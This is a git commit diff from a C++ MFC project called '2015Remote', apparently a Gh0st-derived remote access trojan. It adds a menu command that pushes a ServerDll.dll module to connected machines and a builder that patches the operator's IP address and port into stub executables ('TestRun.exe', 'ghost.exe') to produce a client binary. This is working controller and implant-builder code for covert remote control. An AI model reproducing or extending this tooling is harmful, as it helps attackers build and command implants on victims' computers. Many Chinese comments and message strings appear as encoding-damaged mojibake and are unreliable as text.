feat: Update client build and add remote update feature
This commit is contained in:
Binary file not shown.
@@ -125,7 +125,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
|
||||
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
|
||||
|
||||
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE);
|
||||
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
|
||||
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -153,6 +154,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
||||
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
||||
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
||||
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
|
||||
ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
|
||||
|
||||
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
|
||||
@@ -631,7 +633,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
}
|
||||
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
|
||||
|
||||
*pResult = 0;
|
||||
@@ -644,6 +647,56 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
|
||||
fileSize = 0;
|
||||
try {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ֻ<EFBFBD><D6BB>ģʽ<C4A3><CABD>
|
||||
CFile file(filePath, CFile::modeRead | CFile::typeBinary);
|
||||
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
fileSize = file.GetLength();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>: ͷ+<2B>ļ<EFBFBD><C4BC><EFBFBD>С+<2B>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
|
||||
if (!buffer) {
|
||||
return NULL;
|
||||
}
|
||||
memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
|
||||
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
|
||||
buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20>ͷ<EFBFBD><CDB7>ڴ<EFBFBD>
|
||||
return buffer;
|
||||
}
|
||||
catch (CFileException* e) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>쳣
|
||||
TCHAR errorMessage[256];
|
||||
e->GetErrorMessage(errorMessage, 256);
|
||||
e->Delete();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||
{
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p + 1, "ServerDll.dll");
|
||||
ULONGLONG fileSize = 0;
|
||||
char *buffer = ReadFileToMemory(path, fileSize);
|
||||
if (buffer) {
|
||||
buffer[0] = COMMAND_UPDATE;
|
||||
SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
|
||||
delete[] buffer;
|
||||
}
|
||||
else {
|
||||
AfxMessageBox("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>: "+ CString(path));
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineDelete()
|
||||
{
|
||||
|
||||
@@ -72,13 +72,14 @@ public:
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
|
||||
CBitmap m_bmOnline[2];
|
||||
CBitmap m_bmOnline[3];
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
afx_msg void OnAbout();
|
||||
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg void OnNotifyShow();
|
||||
|
||||
@@ -202,8 +202,10 @@
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
<Image Include="res\webcam.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
|
||||
@@ -13,8 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||
|
||||
CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0};
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
: CDialog(CBuildDlg::IDD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
@@ -32,6 +30,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||
}
|
||||
|
||||
|
||||
@@ -54,7 +53,16 @@ void CBuildDlg::OnBnClickedOk()
|
||||
BYTE * szBuffer=NULL;
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
int index = m_ComboExe.GetCurSel();
|
||||
CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
|
||||
if (file.IsEmpty())
|
||||
{
|
||||
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN);
|
||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||
CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 };
|
||||
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
||||
|
||||
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
|
||||
@@ -67,12 +75,12 @@ void CBuildDlg::OnBnClickedOk()
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p+1, "TestRun.exe");
|
||||
strcpy(p+1, file.GetString());
|
||||
|
||||
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
if (_access(path, 0) == -1)
|
||||
{
|
||||
MessageBox(CString(path)+"\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"TestRun.exe\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
|
||||
@@ -88,11 +96,21 @@ void CBuildDlg::OnBnClickedOk()
|
||||
File.Close();
|
||||
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
||||
if (iOffset==-1)
|
||||
{
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
|
||||
return;
|
||||
}
|
||||
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
||||
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
||||
strcpy(p+1, "ClientDemo.exe");
|
||||
strSeverFile = path;
|
||||
File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||
DeleteFileA(path);
|
||||
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||
if (!r) {
|
||||
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
File.Write(szBuffer,dwFileSize);
|
||||
File.Close();
|
||||
delete[] szBuffer;
|
||||
@@ -123,8 +141,22 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
|
||||
for (i = 0; i < iBufferSize; ++i)
|
||||
{
|
||||
for (j = 0; j < iKeySize; j ++)
|
||||
if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12
|
||||
if (szBuffer[i+j] != Key[j]) break;
|
||||
if (j == iKeySize) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuildDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||
m_ComboExe.InsertString(0, "TestRun.exe");
|
||||
m_ComboExe.InsertString(1, "ghost.exe");
|
||||
m_ComboExe.SetCurSel(0);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
@@ -22,4 +22,6 @@ public:
|
||||
CString m_strIP;
|
||||
CString m_strPort;
|
||||
afx_msg void OnBnClickedOk();
|
||||
virtual BOOL OnInitDialog();
|
||||
CComboBox m_ComboExe;
|
||||
};
|
||||
|
||||
BIN
server/2015Remote/res/delete.bmp
Normal file
BIN
server/2015Remote/res/delete.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/update.bmp
Normal file
BIN
server/2015Remote/res/update.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 774 B |
Binary file not shown.
Reference in New Issue
Block a user